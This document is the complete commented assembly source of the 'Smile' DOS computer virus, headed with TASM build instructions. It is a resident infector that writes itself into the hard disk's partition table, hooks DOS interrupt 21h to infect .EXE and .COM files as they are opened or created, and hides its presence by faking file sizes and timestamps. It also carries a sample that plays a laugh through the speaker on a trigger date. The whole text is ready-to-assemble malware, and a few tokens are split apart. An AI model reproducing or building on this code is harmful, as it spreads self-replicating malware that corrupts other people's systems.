2022-08-21 09:07:57 +00:00
;------------------------------------------------------------------------------
;
; Virus Name: Smile
; Origin: Holland
; Eff Length: 4,096 bytes
; Type Code: PRhE - Parasitic Resident .EXE & partition table infector
;
;------------------------------------------------------------------------------
;
; This program is assembled with TASM V1.01 from Borland International
; (assembing with MASM V5.10 from Microsoft Inc. is also possible).
;
; TASM smile;
; LINK smile,,smile;
;
;------------------------------------------------------------------------------
;
; Interrupt vectors
;
;------------------------------------------------------------------------------
iseg seg ment at 0
org 8 * 4
Int8o dw 0 ; interrupt vector 21h
Int8s dw 0
org 1ch * 4
Int1Co dw 0 ; interrupt vector 21h
Int1Cs dw 0
org 21h * 4
Int21o dw 0 ; interrupt vector 21h
Int21s dw 0
iseg ends
cseg seg ment public 'code'
assume cs : cs eg , ds : cs eg , es : cs eg
;------------------------------------------------------------------------------
;
; Header of EXE-file
;
;------------------------------------------------------------------------------
VirusSize equ 1580h ; size of virus
; this one is very important,
; if it isn't set right the
; virus will hang every
; infected file
PrgSize equ 73h ; size of prg after the virus
; this is used in the header
; of the dummy program
; the value of these constants
; can be determined by creating
; a map-file with the linker.
Signature dw 0 ; signature 'MZ'
PartPage dw 0 ; size of partitial page
PageCount dw 0 ; number of pages
ReloCount dw 0 ; number of relocation items
HeaderSize dw 0 ; size of header
MinMem dw 0 ; minimum memory needed
MaxMem dw 0 ; maximum memory needed
ExeSS dw 0 ; initial SS
ExeSP dw 0 ; initial SP
CheckSum dw 0 ; unused ???
ExeIP dw 0 ; initial IP
ExeCS dw 0 ; initial CS
ReloOffset dw 0 ; offset of relocationtable
OverlayNr dw 0 ; number of overlay
ComSize dw - 1 ; Size of com-file (-1 for exe)
;------------------------------------------------------------------------------
;
; This procedure is called when starting from an exe-file
;
;------------------------------------------------------------------------------
Main: pushf ; save flags
sub sp , 4 ; reserve space far cs:ip
push ax ; save other registers
push ds
push es
sti ; enable interrupts
cmp cs : ComSize , - 1 ; com or exe-file
je ExeFile ; -1 : exe-file
ComFile: mov word ptr ds :[ 6 ], 0fef0h ; set availeble memory to max
mov bp , sp ; set cs:ip on stack for
mov word ptr [ bp + 8 ], ds ; returning to the orginal
mov word ptr [ bp + 6 ], 100h ; program
mov bp , ds ; bp : stacksegment
mov ax , cs ; bx : begin of com-file
add ax ,( VirusSize / 10h )
mov bx , ax
mov cx , 0ff0h ; cx : size of data to move
add ax , cx ; es : buffer for mover and
mov es , ax ; infecting the bootsect.
push cs ; ds : codesegment
pop ds
jmp short InfectBoot ; infect bootsector
ExeFile: mov dx , cs ; Relocation
add dx ,( VirusSize / 10h )
mov ds , dx
mov cx , ReloCount ; number of relocation items
add dx , HeaderSize ; size of exe-header
mov si , ReloOffset ; offset of 1st relocation item
jcxz NoRelo
NextRelo: lodsw ; offset
mov di , ax
lodsw ; segment
add ax , dx
mov es , ax
mov ax , cs ; relocation factor
add es :[ di ], ax
loop NextRelo ; next relocation item
NoRelo: mov bp , sp
mov ax , cs ; set cs:ip on stack for
add ax , ExeCS ; returning to the orginal
mov [ bp + 8 ], ax ; program
mov ax , ExeIP
mov [ bp + 6 ], ax
mov bp , cs ; bp : stacksegment
add bp , ExeSS
mov ax , PageCount ; calculate size of exe-file
mov dx , PartPage ; in paragraphs
add dx , - 1
sbb ax , 0
mov cl , 4
shr dx , cl
inc dx
inc cl
shl ax , cl
add dx , ax
add dx , MinMem ; dx : size of exe-file
mov cx , dx ; cx : size of code and data
sub cx , HeaderSize
mov bx , cs ; bx : start of code and data
mov ds , bx
add bx ,( VirusSize / 10h )
add bx , dx
mov es , bx ; es : buffer for mover and
sub bx , cx ; infecting the bootsect.
InfectBoot: push bx ; save bx and cx
push cx
mov ax , 201h ; read bootsector from disk
xor bx , bx
mov cx , 1
mov dx , 80h
int 13h
jc BootOk ; error ?
mov si , offset BootSector ; compare with infected code
xor di , di
mov cx , 1 * BootSize
cld
repe cmpsb
je BootOk ; equal ?
mov di , 1beh + 8 ; check partitions, we don't
mov cx , 4 ; want to overwrite them
NextPartition: cmp word ptr es :[ di + 2 ], 0
ja SectOk
cmp word ptr es :[ di ],( VirusSize + 1ffh ) / 200h + 1
ja SectOk
cmp word ptr es :[ di ], 0
ja BootOk
SectOk: add di , 10h
loop NextPartition
mov si , offset BootSector ; exchange code from bootsector
xor di , di ; with viral code
mov cx , 1 * BootSize
cld
call Swapsb
push es ; write virus to disk
pop ds
push cs
pop es
mov ax ,( VirusSize + 1ffh ) / 200h + 300h
mov cx , 2
int 13h
push ds
pop es
push cs
pop ds
jc BootOk ; error ?
mov ax , 301h ; write bootsector to disk
mov cx , 1
int 13h
BootOk: pop cx ; restore bx and cx
pop bx
mov dx , cs ; dx = destenation segment
xor di , di
push es ; push seg:ofs of mover
push di
push cx ; save cx
mov cx , 1 * MoverSize
mov si , offset Mover
cld ; copy mover-procedure
rep movsb
pop cx ; restore cx
cli ; disable interrupts
retf ; jump to mover
Mover: mov ax , cx ; save cx
mov ds , bx ; ds:si = source
mov es , dx ; es:di = destenation
xor si , si
xor di , di
mov cx , 8h ; copy one paragraph
rep movsw
inc bx
inc dx
mov cx , ax ; restore cx
loop Mover ; next paragraph
mov ss , bp ; ss = new stacksegment
sti ; enable interrupts
pop es ; restore registers
pop ds
pop ax
iret ; jump to program
MoverSize equ ( $ - Mover )
;------------------------------------------------------------------------------
;
; Bootsector startup
;
;------------------------------------------------------------------------------
Bootsector: cli ; disable interrupts
xor bx , bx ; setup stack and ds
mov ds , bx
mov ss , bx
mov sp , 7c00h
sti ; enable interrupts
mov ax , ds :[ 413h ] ; get size of base memory
sub ax ,( VirusSize + 3ffh ) / 400h ; subtract virussize
mov ds :[ 413h ], ax ; store new memory size
mov cl , 6 ; calculate segment
shl ax , cl
mov es , ax ; load virus in reserved mem
mov ax ,( VirusSize + 1ffh ) / 200h + 200h
mov cx , 2
mov dx , 80h
int 13h
mov bx , offset StartUp ; bx=offset startup
push es ; jump to startup (es:bx)
push bx
retf
BootSize equ ( $ - Bootsector ) ; size of bootsector part
StartUp: cli ; disable interrupts
mov ax , offset Interrupt1C ; hack interrupt 1C
xchg ax , ds : Int1Co
mov cs : OldInt1Co , ax
mov ax , cs
xchg ax , ds : Int1Cs
mov cs : OldInt1Cs , ax
mov cs : OldInt21o , - 1
mov cs : OldInt21s , - 1
mov cs : Count , - 1
sti ; enable interrupts
push cs ; ds=cs
pop es
mov si , 7c00h ; di=7c00h (Bootsector)
mov di , offset BootSector ; si=BootSector
mov cx , 1 * BootSize ; bytes to copy
cld ; copy forward
call Swapsb ; restore orginal boot
mov ax , 7c00h ; offset bootsector
push ds ; jump to bootsector
push ax
retf
Interrupt8: push ax ; save registers
push si
push ds
push cs
pop ds
mov si , SampleOffset ; get offset of next bit
dec byte ptr ds : SampleBit
test byte ptr ds : SampleBit , 7
jnz OfsOk
inc si
cmp si , offset SampleEnd ; end of sample ?
jb OfsOk ; no, play bit
mov al , 34h ; reset int 8 frequency
out 43h , al
xor ax , ax
out 40h , al
out 40h , al
mov ds , ax ; reset int 8 vector
mov ax , cs : OldInt8o
mov ds : Int8o , ax
mov ax , cs : OldInt8s
mov ds : Int8s , ax
inc byte ptr cs : SampleFlag ; set sample ready flag
jmp short ExitInt8 ; end of interrupt
OfsOk: mov SampleOffset , si ; store offset
rol byte ptr ds :[ si ], 1 ; next bit
mov ah , ds :[ si ] ; get bit value
and ah , 1
shl ah , 1
in al , 61h ; get value of io-port 61h
and al , 0fch ; reset last 2 bits
or al , ah ; set bit 2 with sample value
out 61h , al ; write to io-port 61h
ExitInt8: mov al , 20h ; end of interrupt signal
out 20h , al
pop ds ; restore registers
pop si
pop ax
iret ; return to program
Interrupt1C: push ds ; save registers
push ax
push bx
xor ax , ax ; interrupts vectors
mov ds , ax
mov ax , ds : Int21o
cmp cs : OldInt21o , ax
jne Ch anged
mov ax , ds : Int21s
cmp cs : OldInt21s , ax
je Equ al
Changed: mov ax , ds : Int21o
mov cs : OldInt21o , ax
mov ax , ds : Int21s
mov cs : OldInt21s , ax
mov cs : Count , 182
jmp short NotReady
Equal: dec cs : Count
jnz NotReady
mov ax , cs : OldInt1Co ; restore vector 1C
mov ds : Int1Co , ax ; (This interrupt)
mov ax , cs : OldInt1Cs
mov ds : Int1Cs , ax
mov ax , offset Interrupt21 ; Hack interrupt 21
xchg ax , ds : Int21o
mov cs : OldInt21o , ax
mov ax , cs
xchg ax , ds : Int21s
mov cs : OldInt21s , ax
mov ax , 16
mov bx , offset Handle
NextHandle: mov byte ptr cs :[ bx ], 0
inc bx
dec ax
jnz NextHandle
mov byte ptr cs : Active , - 1
NotReady: pop bx
pop ax ; restore registers
pop ds
jmp cs : OldInt1C ; do orginal int 1C
Swapsb: mov al , es :[ di ] ; exchange two memory bytes
xchg al , ds :[ si ]
stosb
inc si
loop Swapsb ; next byte
ret ; return
;------------------------------------------------------------------------------
;
; Manipilated functions
;
;------------------------------------------------------------------------------
Functions db 11h ; 1
dw offset FindFCB
db 12h ; 2
dw offset FindFCB
db 30h ; 3
dw offset DosVersion
db 3ch ; 4
dw offset Open
db 3dh ; 5
dw offset Open
db 3eh ; 6
dw offset Cl ose
db 42h ; 7
dw offset Seek
db 45h ; 8
dw offset Duplicate
db 46h ; 9
dw offset Redirect
db 4eh ; 10
dw offset Find
db 4fh ; 11
dw offset Find
db 5bh ; 12
dw offset Open
db 6ch ; 13
dw offset OpenCreate
FunctionCount equ 13
;------------------------------------------------------------------------------
;
; The orginal interrupt 21h is redirected to this procedure
;
;------------------------------------------------------------------------------
DosVersion: push ax
push cx
push dx
push ds
push cs
pop ds
cmp cs : Active , 0
je NotActive
mov ah , 2ah
call DOS
cmp ActiveYear , cx
jb NotActive
cmp ActiveDate , dx
jb NotActive
cli
xor ax , ax
mov ds , ax
mov ax , offset Interrupt8
xchg ax , ds : Int8o
mov cs : OldInt8o , ax
mov ax , cs
xchg ax , ds : Int8s
mov cs : OldInt8s , ax
mov al , 34h
out 43h , al
mov al , 80h
out 40h , al
mov al , 0
out 40h , al
push cs
pop ds
mov byte ptr SampleFlag , 0
mov byte ptr SampleBit , 0
mov word ptr SampleOffset , offset SampleData
sti
Delay: cmp byte ptr SampleFlag , 0
je Delay
mov byte ptr Active , 0
NotActive: pop ds
pop dx
pop cx
pop ax
jmp Old21
FindFCB: call DOS ; call orginal interrupt
cmp al , 0 ; error ?
jne Ret1
pushf ; save registers
push ax
push bx
push es
mov ah , 2fh ; get DTA
call DOS
cmp byte ptr es :[ bx ], - 1 ; extended fcb ?
jne FCBOk
add bx , 8 ; yes, skip 8 bytes
FCBOk: mov al , es :[ bx + 16h ] ; get file-time (low byte)
and al , 1fh ; seconds
cmp al , 1fh ; 62 seconds ?
jne FileOk ; no, file not infected
sub word ptr es :[ bx + 1ch ], VirusSize
sbb word ptr es :[ bx + 1eh ], 0 ; adjust file-size
jmp short Time
Find: call DOS ; call orginal interrupt
jc Ret1 ; error ?
pushf ; save registers
push ax
push bx
push es
mov ah , 2fh
call DOS
mov al , es :[ bx + 16h ] ; get file-time (low byte)
and al , 1fh ; seconds
cmp al , 1fh ; 62 seconds ?
jne FileOk ; no, file not infected
sub word ptr es :[ bx + 1ah ], VirusSize
sbb word ptr es :[ bx + 1ch ], 0 ; change file-size
Time: xor byte ptr es :[ bx + 16h ], 1fh ; adjust file-time
FileOk: pop es ; restore registers
pop bx
pop ax
popf
Ret1: retf 2 ; return
Seek: or bx , bx ; bx=0 ?
jz Old21 ; yes, do orginal interrupt
push bx
call FindHandle
pop bx
jc Old21
Stealth: or al , al ; seek from top of file ?
jnz Relative ; no, don't change cx:dx
add dx , VirusSize ; change cx:dx
adc cx , 0
Relative: call DOS ; Execute orginal int 21h
jc Ret1 ; Error ?
sub ax , VirusSize ; adjust dx:ax
sbb dx , 0
jmp short Ret1 ; return
Close: or bx , bx ; bx=0 ?
je Old21 ; yes, do orginal interrupt
push ax
push cx
push dx
push si
push ds
push cs ; ds=cs
pop ds
push bx
call FindHandle
mov si , bx
pop bx
jc DoNotUpdate
mov word ptr ds :[ si ], 0
cmp byte ptr ds :[ si + 2 ], 0
je DoNotUpdate
call UpdateHeader
DoNotUpdate: pop ds ; restore registers
pop si
pop dx
pop cx
pop ax
Not2: jmp short Old21 ; continue with orginal int
Interrupt21: push bx ; after an int 21h instruction
push cx ; this procedure is started
mov bx , offset Functions
mov cx , FunctionCount
NxtFn: cmp ah , cs :[ bx ] ; search function
je FunctionTrap
add bx , 3
loop NxtFn
pop cx ; function not found
pop bx
Old21: jmp cs : OldInt21
FunctionTrap: push bp ; function found, start viral
mov bp , sp ; version of function
mov bx , cs :[ bx + 1 ]
xchg bx ,[ bp + 4 ]
mov cx ,[ bp + 10 ]
xchg cx ,[ bp + 2 ]
pop bp
popf
ret
Duplicate: call DOS
jc Error
pushf
push bx
push dx
call FindHandle
jc Ret3
mov dl , cs :[ bx + 2 ]
mov bx , ax
call StoreHandle
Ret3: pop dx
pop bx
popf
jmp Ret2
Redirect: call DOS
jc Error
pushf
push bx
push cx
xchg bx , cx
call FindHandle
jc Ret4
mov cs :[ bx ], cx
Ret4: pop cx
pop bx
popf
jmp Ret2
OpenCreate: or al , al ; extended open/create function
jne Old21 ; no, do orginal interrupt 21
push dx ; save dx
mov dx , si ; check extension of filename
call Ch eckName
pop dx ; retore dx
jc Old21 ; exe or com-file?
jmp short ExtensionOk ; yes, infect file or use
; stealth
Open: call Ch eckName ; exe or com-file ?
jc Old21 ; no, do orginal int 21
ExtensionOk: call DOS ; do interrupt 21
jnc NoError ; error ?
Error: jmp Ret2 ; yes, return and do nothing
NoError: pushf ; save registers
push ax
push bx
push cx
push dx
push ds
push cs
pop ds
mov bx , ax ; bx = file handle
mov ax , 4400h ; get device information
call DOS
jc PopRet ; error ?
test dx , 80h ; character device
jnz PopRet ; yes, return and do nothing
call EndOfFile ; get file size
or ax , dx ; 0 ?
jnz FileExists ; no, file already existed
FileCreated: call HandleFree
jc PopRet
mov ah , 2ah
call DOS
add dh , 3
cmp dh , 12
jbe DateOk
inc cx
sub dh , 12
DateOk: mov ActiveYear , cx
mov ActiveDate , dx
mov ah , 40h ; write virus to file
mov cx , VirusSize
call Zero2
jc NoVir ; error ? yes, return
xor ax , cx ; entire virus written ?
jnz NoVir ; no, return
mov dl , 1
call StoreHandle
jmp short PopRet ; return
FileExists: call TopOfFile ; go to top of file
call HandleFree
jc PopRet ; no, do nothing
call ReadHeader ; read exe-header
jc NoVir ; error ?
xor ax , cx ; entire header read
jne NoVir ; no, not infected
cmp Si gnature , 5a4dh ; signature = 'MZ' ?
jne NoVir ; no, not infected
cmp HeaderSize , ax ; headersize = 0 ?
jne NoVir ; no, not infected
cmp Ch eckSum , 0DEADh ; checksum = DEAD hex
jne NoVir ; no, not infected
mov dl , 0
call StoreHandle
mov dx , VirusSize ; seek to end of virus
jmp short Infected
NoVir: xor dx , dx
Infected: xor cx , cx ; go to end of virus if file
mov ax , 4200h ; is infected
call DOS
PopRet: pop ds ; restore registers
pop dx
pop cx
pop bx
pop ax
popf
Ret2: retf 2 ; return
;------------------------------------------------------------------------------
EndOfFile: mov ax , 4202h ; go to end of file
jmp short Zero1
TopOfFile: mov ax , 4200h ; go to top of file
Zero1: xor cx , cx
jmp short Zero2
WriteHeader: mov ah , 40h ; write exe-header to file
jmp short Hdr
ReadHeader: mov ah , 3fh ; read exe-header from file
Hdr: mov cx , 1eh
Zero2: xor dx , dx
DOS: pushf ; call orginal interrupt
call cs : OldInt21
ret
FindHandle: push ax
push cx
mov ax , bx
mov bx , offset Handle
mov cx , 8
NotFound: cmp ax , cs :[ bx ]
je Found
inc bx
inc bx
inc bx
loop NotFound
stc
Found: pop cx
pop ax
ret
HandleFree: push bx
xor bx , bx
call FindHandle
pop bx
ret
StoreHandle: push bx
push bx
xor bx , bx
call FindHandle
pop cs :[ bx ]
mov cs :[ bx + 2 ], dl
pop bx
ret
CheckName: push ax ; check for .exe or .com
push cx ; save registers
push si
push di
xor ah , ah ; point found = 0
mov cx , 100h ; max length filename = 100h
mov si , dx ; si = start of filename
cld
NxtChr: lodsb ; get byte
or al , al ; 0 ?
je EndName ; yes, check extension
cmp al , '\' ; \ ?
je Slash ; yes, point found = 0
cmp al , '.' ; . ?
je Point ; yes, point found = 1
loop NxtChr ; next character
jmp short EndName ; check extension
Slash: xor ah , ah ; point found = 0
jmp NxtChr ; next character
Point: inc ah ; point found = 1
mov di , si ; di = start of extension
jmp NxtChr ; next character
EndName: cmp ah , 1 ; point found = 0
jne NotExe ; yes, not an exe-file
mov si , di ; si = start of extension
lodsw ; first 2 characters
and ax , 0dfdfh ; uppercase
mov cx , ax
lodsb ; 3rd character
and al , 0dfh ; uppercase
cmp cx , 04f43h ; extension = .com ?
jne NotCom
cmp al , 04dh
je Ch kRet
NotCom: cmp cx , 05845h ; extension = .exe ?
jne NotExe
cmp al , 045h
je Ch kRet
NotExe: stc ; set carry flag
ChkRet: pop di ; restore registers
pop si
pop cx
pop ax
ret ; return
UpdateHeader: mov ax , 4200h ; position read/write pointer
xor cx , cx ; at the end of the virus
mov dx , VirusSize
call DOS
call ReadHeader ; read orginal exe-header
cmp Si gnature , 5a4dh
je InfectExe
InfectCom: mov Si gnature , 5a4dh
mov ReloOffset , 01ch
mov OverlayNr , 0
mov ExeSS ,( VirusSize - 100h ) / 10h
mov ExeSP , 0fffeh
call EndOfFile
sub ax , VirusSize
sbb dx , 0
mov ComSize , ax
mov cx , 10h
div cx
sub dx , 1
mov dx , 0ff2h + 20h
sbb dx , ax
mov MinMem , dx
jmp WriteIt
InfectExe: mov ComSize , - 1
mov ax ,( VirusSize / 10h )
add ax , HeaderSize
add ExeSS , ax
add MinMem , 20h
add MaxMem , 20h
jnc MaxOk
WriteIt: mov MaxMem , 0ffffh
MaxOk: mov ReloCount , 0
mov HeaderSize , 0
mov Ch eckSum , 0DEADh
mov ExeCS , 0
mov ExeIP , offset Main
call EndOfFile
mov cx , 200h
div cx
mov PartPage , dx
add dx , - 1
adc ax , 0
mov PageCount , ax
call TopOfFile
call WriteHeader ; write header at the top of
jc InfErr ; the virus
mov ax , 5700h
call DOS
mov ax , 5701h
or cl , 1fh
call DOS
InfErr: ret
;------------------------------------------------------------------------------
;
; Data to generate the Laugh sound
;
;------------------------------------------------------------------------------
SampleData db 249 , 220 , 204 , 102 , 51 , 51 , 116 , 102 , 227 , 6 , 28 , 216 , 243 , 129 , 131 , 54
db 140 , 204 , 226 , 227 , 51 , 18 , 25 , 184 , 98 , 199 , 131 , 30 , 25 , 204 , 204 , 193
db 230 , 79 , 28 , 248 , 98 , 241 , 142 , 199 , 51 , 24 , 228 , 249 , 179 , 44 , 221 , 241
db 54 , 71 , 254 , 46 , 8 , 255 , 139 , 227 , 59 , 196 , 241 , 49 , 198 , 208 , 243 , 205
db 193 , 115 , 155 , 131 , 206 , 46 , 14 , 177 , 176 , 51 , 205 , 129 , 158 , 54 , 142 , 113
db 144 , 115 , 140 , 135 , 56 , 240 , 55 , 205 , 131 , 188 , 124 , 51 , 199 , 195 , 156 , 120
db 25 , 199 , 129 , 156 , 76 , 49 , 197 , 195 , 28 , 110 , 57 , 231 , 129 , 156 , 120 , 25
db 197 , 145 , 156 , 108 , 25 , 102 , 201 , 158 , 46 , 12 , 113 , 224 , 231 , 141 , 163 , 60
db 76 , 25 , 227 , 104 , 228 , 229 , 131 , 131 , 154 , 157 , 24 , 102 , 114 , 206 , 71 , 193
db 241 , 14 , 229 , 140 , 55 , 196 , 241 , 125 , 89 , 27 , 29 , 195 , 240 , 157 , 30 , 68
db 193 , 246 , 57 , 135 , 99 , 56 , 238 , 25 , 134 , 196 , 241 , 230 , 24 , 6 , 24 , 176
db 231 , 51 , 142 , 113 , 178 , 113 , 205 , 55 , 160 , 67 , 57 , 198 , 143 , 177 , 147 , 56
db 115 , 135 , 89 , 193 , 157 , 56 , 103 , 156 , 112 , 115 , 102 , 217 , 227 , 30 , 76 , 121
db 156 , 241 , 35 , 71 , 56 , 227 , 155 , 12 , 103 , 190 , 56 , 115 , 198 , 105 , 150 , 97
db 142 , 28 , 113 , 230 , 50 , 60 , 185 , 201 , 156 , 76 , 248 , 231 , 13 , 204 , 248 , 100
db 199 , 39 , 28 , 113 , 198 , 70 , 71 , 54 , 124 , 219 , 99 , 135 , 48 , 62 , 25 , 131
db 112 , 196 , 31 , 14 , 51 , 225 , 225 , 56 , 110 , 1 , 206 , 51 , 147 , 110 , 15 , 129
db 252 , 127 , 7 , 113 , 184 , 29 , 135 , 192 , 236 , 62 , 7 , 227 , 224 , 127 , 31 , 3
db 176 , 240 , 63 , 143 , 1 , 216 , 248 , 29 , 143 , 131 , 184 , 248 , 63 , 15 , 131 , 112
db 248 , 102 , 28 , 134 , 225 , 208 , 238 , 61 , 12 , 199 , 161 , 220 , 90 , 25 , 199 , 35
db 184 , 244 , 51 , 139 , 67 , 56 , 164 , 119 , 22 , 134 , 115 , 104 , 238 , 60 , 140 , 226
db 217 , 206 , 105 , 25 , 204 , 179 , 28 , 211 , 51 , 137 , 38 , 57 , 180 , 199 , 50 , 76
db 115 , 44 , 199 , 50 , 156 , 230 , 73 , 142 , 101 , 152 , 230 , 89 , 142 , 116 , 153 , 230
db 217 , 158 , 109 , 153 , 227 , 65 , 142 , 54 , 14 , 241 , 176 , 102 , 198 , 17 , 199 , 26
db 14 , 204 , 105 , 59 , 49 , 131 , 156 , 153 , 135 , 135 , 19 , 24 , 30 , 59 , 134 , 99
db 188 , 48 , 195 , 112 , 198 , 57 , 216 , 198 , 44 , 110 , 76 , 205 , 50 , 76 , 176 , 110
db 19 , 49 , 215 , 48 , 222 , 199 , 15 , 153 , 102 , 107 , 38 , 195 , 50 , 108 , 51 , 44
db 113 , 228 , 201 , 60 , 204 , 241 , 204 , 184 , 100 , 204 , 198 , 57 , 227 , 32 , 30 , 127
db 193 , 156 , 113 , 184 , 155 , 24 , 201 , 201 , 48 , 108 , 231 , 134 , 70 , 112 , 102 , 28
db 103 , 115 , 177 , 118 , 49 , 135 , 19 , 57 , 177 , 155 , 31 , 28 , 121 , 248 , 230 , 31
db 134 , 96 , 248 , 230 , 60 , 102 , 115 , 51 , 28 , 51 , 25 , 137 , 153 , 140 , 223 , 153
db 197 , 198 , 92 , 46 , 115 , 99 , 243 , 115 , 25 , 179 , 57 , 153 , 177 , 217 , 248 , 207
db 76 , 204 , 243 , 51 , 27 , 60 , 201 , 140 , 115 , 28 , 99 , 51 , 137 , 227 , 56 , 127
db 19 , 185 , 222 , 115 , 241 , 230 , 31 , 129 , 224 , 252 , 15 , 7 , 225 , 248 , 62 , 15
db 131 , 224 , 120 , 62 , 7 , 129 , 240 , 120 , 30 , 7 , 129 , 224 , 124 , 62 , 135 , 135
db 145 , 240 , 241 , 62 , 60 , 143 , 15 , 145 , 225 , 228 , 120 , 124 , 15 , 15 , 3 , 227
db 228 , 120 , 124 , 31 , 27 , 131 , 227 , 96 , 252 , 108 , 159 , 13 , 147 , 163 , 176 , 116
db 118 , 14 , 7 , 193 , 224 , 248 , 60 , 31 , 7 , 195 , 96 , 232 , 108 , 28 , 13 , 131
db 147 , 241 , 240 , 116 , 62 , 14 , 135 , 193 , 240 , 248 , 62 , 15 , 14 , 192 , 225 , 216
db 152 , 63 , 27 , 15 , 195 , 193 , 248 , 124 , 63 , 15 , 7 , 224 , 240 , 254 , 30 , 14
db 227 , 192 , 238 , 60 , 30 , 227 , 224 , 231 , 143 , 67 , 172 , 121 , 158 , 51 , 144 , 112
db 230 , 88 , 207 , 193 , 179 , 59 , 135 , 99 , 198 , 12 , 204 , 241 , 219 , 7 , 19 , 240
db 228 , 110 , 31 , 133 , 193 , 48 , 120 , 230 , 44 , 205 , 225 , 158 , 54 , 49 , 166 , 120
db 220 , 19 , 140 , 131 , 176 , 116 , 79 , 131 , 129 , 204 , 124 , 31 , 3 , 193 , 249 , 204
db 140 , 150 , 38 , 72 , 199 , 153 , 152 , 248 , 126 , 142 , 79 , 131 , 131 , 248 , 190 , 31
db 15 , 195 , 241 , 120 , 236 , 96 , 204 , 143 , 14 , 57 , 57 , 248 , 110 , 62 , 103 , 33
db 216 , 248 , 57 , 31 , 6 , 102 , 120 , 207 , 28 , 216 , 14 , 6 , 99 , 96 , 204 , 60
db 121 , 51 , 67 , 137 , 207 , 17 , 156 , 57 , 30 , 11 , 198 , 230 , 51 , 51 , 157 , 179
db 148 , 96 , 247 , 113 , 192 , 204 , 206 , 15 , 35 , 152 , 28 , 30 , 38 , 224 , 248 , 153
db 206 , 227 , 225 , 113 , 142 , 67 , 152 , 152 , 89 , 56 , 131 , 134 , 242 , 56 , 227 , 28
db 23 , 131 , 120 , 62 , 15 , 225 , 248 , 63 , 7 , 193 , 240 , 126 , 15 , 129 , 224 , 124
db 31 , 7 , 192 , 248 , 62 , 15 , 131 , 224 , 248 , 62 , 15 , 131 , 224 , 248 , 60 , 15
db 135 , 208 , 248 , 121 , 31 , 15 , 33 , 225 , 228 , 60 , 30 , 71 , 195 , 200 , 248 , 124
db 15 , 135 , 193 , 248 , 248 , 31 , 31 , 131 , 225 , 240 , 62 , 31 , 3 , 131 , 240 , 120
db 59 , 15 , 3 , 176 , 102 , 55 , 14 , 195 , 112 , 236 , 55 , 15 , 195 , 112 , 252 , 55
db 143 , 195 , 248 , 240 , 63 , 143 , 3 , 184 , 249 , 27 , 199 , 161 , 252 , 57 , 31 , 195
db 193 , 252 , 60 , 31 , 99 , 192 , 242 , 60 , 79 , 25 , 230 , 121 , 207 , 177 , 206 , 62
db 199 , 24 , 240 , 30 , 51 , 192 , 240 , 252 , 27 , 143 , 161 , 240 , 126 , 30 , 135 , 192
db 248 , 60 , 31 , 135 , 192 , 248 , 126 , 15 , 135 , 129 , 196 , 184 , 47 , 13 , 195 , 216
db 126 , 27 , 135 , 201 , 226 , 28 , 70 , 13 , 226 , 112 , 124 , 71 , 3 , 231 , 188 , 78
db 30 , 24 , 227 , 241 , 234 , 62 , 15 , 161 , 248 , 62 , 15 , 7 , 112 , 90 , 99 , 112
db 230 , 25 , 147 , 225 , 240 , 110 , 61 , 198 , 240 , 116 , 29 , 23 , 103 , 48 , 240 , 58
db 47 , 143 , 113 , 206 , 51 , 198 , 192 , 126 , 62 , 15 , 7 , 97 , 236 , 62 , 31 , 7
db 240 , 254 , 63 , 15 , 195 , 240 , 190 , 31 , 143 , 128 , 248 , 62 , 63 , 143 , 99 , 152
db 243 , 60 , 31 , 7 , 129 , 216 , 28 , 7 , 12 , 211 , 188 , 124 , 7 , 39 , 192 , 116
db 119 , 14 , 195 , 156 , 120 , 188 , 7 , 195 , 192 , 239 , 31 , 131 , 196 , 120 , 220 , 19
db 204 , 120 , 147 , 248 , 89 , 129 , 216 , 223 , 140 , 252 , 253 , 143 , 60 , 237 , 143 , 28
db 207 , 142 , 120 , 223 , 30 , 241 , 254 , 57 , 227 , 252 , 99 , 139 , 177 , 158 , 46 , 133
db 248 , 242 , 14 , 199 , 192 , 251 , 31 , 2 , 236 , 249 , 31 , 115 , 228 , 29 , 139 , 160
db 236 , 89 , 7 , 99 , 228 , 57 , 159 , 33 , 236 , 120 , 15 , 35 , 100 , 57 , 155 , 53
db 196 , 104 , 143 , 51 , 102 , 184 , 141 , 16 , 230 , 124 , 199 , 57 , 226 , 28 , 199 , 144
db 230 , 60 , 67 , 153 , 242 , 28 , 231 , 200 , 115 , 30 , 97 , 204 , 121 , 143 , 49 , 230
db 60 , 199 , 136 , 115 , 143 , 1 , 198 , 60 , 103 , 140 , 113 , 142 , 56 , 211 , 30 , 120
db 240 , 30 , 60 , 62 , 77 , 207 , 153 , 225 , 124 , 124 , 153 , 118 , 126 , 28 , 193 , 230
db 60 , 135 , 129 , 242 , 60 , 103 , 135 , 112 , 124 , 31 , 140 , 112 , 238 , 120 , 227 , 184
db 159 , 142 , 112 , 238 , 57 , 145 , 231 , 9 , 199 , 217 , 134 , 100 , 108 , 3 , 163 , 248
db 110 , 207 , 136 , 97 , 199 , 32 , 231 , 63 , 135 , 136 , 242 , 102 , 52 , 217 , 180 , 113
db 198 , 112 , 227 , 57 , 199 , 4 , 193 , 204 , 115 , 142 , 35 , 12 , 219 , 156 , 118 , 92
db 203 , 24 , 99 , 128 , 241 , 60 , 39 , 204 , 57 , 31 , 36 , 201 , 157 , 19 , 230 , 108
db 205 , 159 , 99 , 46 , 237 , 217 , 51 , 39 , 204 , 28 , 7 , 12 , 120 , 28 , 115 , 206
db 124 , 142 , 51 , 178 , 60 , 57 , 158 , 62 , 99 , 12 , 153 , 209 , 28 , 226 , 140 , 51
db 195 , 24 , 243 , 188 , 230 , 217 , 227 , 144 , 240 , 158 , 19 , 134 , 112 , 79 , 200 , 241
db 63 , 198 , 225 , 231 , 145 , 226 , 126 , 79 , 129 , 243 , 60 , 79 , 129 , 240 , 120 , 31
db 3 , 192 , 240 , 62 , 15 , 193 , 240 , 120 , 31 , 3 , 225 , 240 , 62 , 31 , 3 , 224
db 240 , 63 , 15 , 3 , 224 , 240 , 63 , 31 , 7 , 225 , 240 , 126 , 63 , 7 , 225 , 248
db 126 , 31 , 135 , 225 , 220 , 110 , 29 , 227 , 112 , 207 , 27 , 7 , 124 , 111 , 28 , 241
db 190 , 60 , 227 , 100 , 76 , 243 , 60 , 71 , 152 , 224 , 248 , 63 , 135 , 227 , 248 , 126
db 28 , 135 , 129 , 224 , 248 , 63 , 31 , 131 , 145 , 240 , 124 , 47 , 15 , 227 , 240 , 126
db 31 , 131 , 224 , 248 , 62 , 31 , 198 , 241 , 220 , 59 , 15 , 49 , 224 , 56 , 143 , 17
db 199 , 185 , 248 , 126 , 31 , 133 , 224 , 248 , 62 , 59 , 135 , 96 , 252 , 60 , 23 , 197
